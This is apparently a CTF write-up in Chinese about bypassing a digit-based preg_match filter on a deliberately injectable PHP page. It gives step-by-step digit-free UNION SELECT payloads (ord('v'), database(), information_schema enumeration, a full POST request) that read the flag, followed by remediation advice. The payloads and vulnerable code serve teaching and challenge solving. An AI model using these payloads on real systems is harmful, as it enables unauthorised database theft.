当前位置: 首页 > news >正文

CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程

CTF SQL注入详解|无数字绕过 preg_match 正则注入全过程

一、前言

遇到一道 Pediy 平台的 CTF SQL 注入题,源码审计发现后端用preg_match正则过滤了 SQL 注入关键词,但正则表达式存在逻辑盲点——仅拦截含数字的恶意输入,完全无数字的 Payload 可长驱直入

本文完整记录源码审计 → 正则分析 → 绕过思路 → 注入获取 flag全流程。


二、题目源码

<?phprequire("conf/config.php");if(isset($_REQUEST['id'])){$id=$_REQUEST['id'];if(preg_match("/\d.+?\D.+/is",$id)){die("Attack detected");}$query="SELECT text from UserInfo WHERE id = ".$id.";";$results=$conn->query($query);echo"学号:".$id.",成绩为: ".$results->fetch_assoc()['text'];}?>

关键点:

  • $_REQUEST['id']— 支持 GET / POST / COOKIE 传参
  • $id直接拼接 SQL — 存在SQL 注入
  • preg_match正则拦截 — 存在WAF,绕过即可注入

三、正则逐段分析

正则表达式

/\d.+?\D.+/is
部分含义说明
\d匹配一个数字(0-9)匹配到数字才开始匹配
.+?匹配 1 个以上任意字符(非贪婪尽可能少地匹配
\D匹配一个非数字字符\d互补
.+匹配 1 个以上任意字符(贪婪尽可能多地匹配
i修饰符忽略大小写本题中无字母,无关
s修饰符.可匹配换行符\n无法通过换行绕过

匹配逻辑

该正则要匹配成功,输入必须同时满足4 个条件

数字+至少1个任意字符+非数字+至少1个任意字符

举例:

输入匹配过程结果
1 UNION SELECT\d=1,.+?=,\D=U,.+=NION SELECT❌ 被拦截
1' OR 1=1 --\d=1,.+?=',\D=,.+=OR 1=1 --❌ 被拦截
12345全是数字,\D永远匹配不到✅ 放行
hello没有数字,\d永远匹配不到✅ 放行

核心漏洞

正则没有^$锚点,但只要输入中完全没有数字0-9,那么\d在任意位置都匹配失败,整个正则返回0(未匹配),WAF完全失效


四、注入思路

绕过方案:不使用任何数字

构造纯字母/符号的 SQL Payload,使输入中不含 0-9 任意数字,正则因找不到\d而放行。

关键技巧:用 MySQL 函数替代硬编码数字

SQL 中WHERE id = 数字通常需要写一个整数,但整数包含数字字符。替代方案是使用 MySQL 函数动态生成数值:

函数结果说明
ord('v')118返回字符 ‘v’ 的 ASCII 码(118)
ord('a')97返回字符 ‘a’ 的 ASCII 码
ord('A')65返回大写字母的 ASCII 码
ord('0')48注意'0'是字符,不是数字,无数字字符 ✅

ord('v')既是一个有效的学号(假设 118 号有数据),又完全不含数字字符,两全其美。

完整注入链

Step 1:验证注入存在
POST / id=ord('v') union select 'hello' -- -
  • 输入:ord('v') union select 'hello' -- -(POST 方式传入)
  • 含数字?没有✅ 正则放行
  • SQL:
SELECTtextfromUserInfoWHEREid=ord('v')unionselect'hello'-- -;
  • ord('v')返回 118,如果学号 118 存在则返回该行数据,再 UNION 追加一行
Step 2:查数据库名
POST / id=ord('v') union select database() -- -

无数字 ✅ 放行

Step 3:查所有表名
POST / id=ord('v') union select group_concat(table_name) from information_schema.tables where table_schema=database() -- -

无数字 ✅ 放行

Step 4:查 flag 表的列名
POST / id=ord('v') union select group_concat(column_name) from information_schema.columns where table_name='flag' -- -

无数字 ✅ 放行(注意假设 flag 表名为flag,实际按 Step 3 结果调整)

Step 5:读 flag
POST / id=ord('v') union select group_concat(flag) from flag -- -

无数字 ✅ 放行,页面输出 flag。


五、最终 Payload

POST 方式(原生 form 表单提交):

POST / HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded id=ord('v')+union+select+group_concat(flag)+from+flag&submit=Submit

+在 URL 编码中等价于空格,所以实际$_REQUEST['id']值为:

ord('v') union select group_concat(flag) from flag

全程无数字,正则放行 ✅


六、拓展思考:如果表和列名含数字怎么办?

某些场景下表名或列名可能带数字,如flag_2024。此时 Payload 中出现数字会触发正则拦截。

方案 1:用ord()拼接标识符

若表名含数字如flag_2024,可尝试用别名或动态 SQL 绕过,但标识符中的数字无法用ord()替代。此时需换思路。

方案 2:如果表名/列名固定含数字

难以完全绕过本正则,可换用id=纯数字方式做盲注(纯数字放行,但注入能力有限)。

方案 3:其他无数字函数

MySQL 中还有一系列无数字字符的内置函数可用于注入:

函数用途含数字?
version()获取 MySQL 版本❌ 无
database()当前数据库名❌ 无
user()当前数据库用户❌ 无
current_user()当前用户❌ 无
now()当前时间❌ 无
concat()字符串拼接❌ 无
group_concat()分组拼接❌ 无

七、正则绕过原理总图

输入字符串 │ ├── 含有数字 0-9 ──→ \d 匹配成功 │ │ │ ┌─────┴──────┐ │ │ 后面还有 │ │ │ 非数字+字符?│ │ ├─────┬──────┤ │ │ 是 │ 否 │ │ │ ❌拦截│ ✅放行│ │ │ │(纯数字)│ │ └─────┘ │ │ │ └── 不含数字 ───────────────→ ✅ 放行 (完全绕过)

本题的核心绕过点就是:正则依赖\d作为触发条件,只要 Payload 中没有 0-9 任意数字,整个正则永远不会匹配


八、漏洞总结与修复建议

1. 漏洞成因

问题说明
🚫 正则逻辑缺陷依赖\d触发匹配,无数字的 Payload 完全绕过
🚫 无锚点限制未加^...$,只要某处匹配失败即失效
🚫 直接拼接 SQL$id未做转义或参数化查询

2. 服务端修复方案

  • 使用参数化查询(Prepared Statement),彻底杜绝 SQL 注入;
  • 正则增加锚点^...$并严格限制允许字符:
    if(!preg_match('/^\d+$/',$id)){die("Invalid input");}
  • 使用 intval 强制转整型
    $id=intval($_REQUEST['id']);

九、文末小结

本题的正则/\d.+?\D.+/is看起来拦截了1 UNION...这类经典注入,但致命缺陷在于\d为触发条件,导致不含数字的 Payload 被完全放行。

关键技巧在于用ord('v')这样的 MySQL 函数代替硬编码数字——既提供了 SQL 所需的整数值,又保证整个 Payload 不含一个数字字符。

💡CTF 经验总结:分析正则 WAF 时,逐字符审查每个匹配条件。找到正则的"触发前提条件",然后构造不满足该前提的 Payload 即可绕过——有时不需要绕过正则本身,只需要让它"不想匹配"。而ord()+group_concat()的组合是这类题目的经典答案。

http://www.jsqmd.com/news/1100192/

相关文章:

  • win11搭建appium开发环境,配置Appium Inspector
  • 脑部AAV实验设计指南:血清型、注射方式和剂量如何选择?
  • 我为什么研究FastGPT:RuyiBookCourse要不要直接做成AI应用平台
  • 近期新手选量化工具,先看回测到实盘还缺什么
  • 谁打响了中国AI的“诺曼底登陆”?
  • TaiXu-Admin V0.1.1发布:集成LLM+RAG+Agent应用技术,功能更新亮点多!
  • 2026年下半年量化入门,用示例拆解练习降低难度
  • OpenAI首席研究官:AGI即将到来,模型自我研究不再是科幻
  • YOLO目标检测实战:从环境搭建到模型部署的完整指南
  • 巴别鸟新建文件与文件夹:5大核心能力深度测评
  • .env相关配置案例
  • 湿式静电除尘(WESP)物联网自控架构解析——越华环保集团工业除尘设备数据流与控制逻辑
  • 企业级学习笔记解决方案选型听脑企业版更适配团队协作场景
  • 80 亿美元!Rocket Lab 收购 Iridium,能否摆脱“迷你 SpaceX”标签?
  • 邮件日程自动化:主流职场办公辅助工具适配分析
  • [特殊字符]祝贺物奇微!国产RISC-V Wi-Fi 6芯片第一股科创板IPO获受理,从芯片到模组--物奇微IPO背后的生态伙伴力量
  • 汽车零部件ERP深度踩坑实录:寄售VMI、滚动计划、批次追溯、ECN强控、模具摊销,5个难题逐个拆解
  • 释放思维潜能:DesktopNaotu桌面版脑图让离线创作更自由
  • 蓝色向量半年融资4亿+,Skyla欲成“eVTOL中的特斯拉”
  • Windows任务栏美化终极指南:用TranslucentTB打造个性化桌面体验
  • FreeModbus V1.6:开源Modbus主机从机一体化协议栈的架构创新与工业应用解决方案
  • 一文搞明白 hipBLAS:ROCm 里的 BLAS 加速核心
  • 计算机毕业设计之基于地图点聚合技术的售楼系统
  • AMD和英特尔哪个好 一篇讲清楚优缺点
  • 模型融合:从单体大模型到组合式智能的工程实践
  • 书桌台灯什么牌子好用又实惠?盘点不花冤枉钱的护眼灯,性价比高
  • 硬件面试八股(1)-存储专题
  • LDPC编码(低密度奇偶校验码)
  • 【Hadoop-H D F S读写流程】
  • CTF实战:手把手教你用Python脚本秒解BUUCTF那道RSA共模攻击题(附完整代码)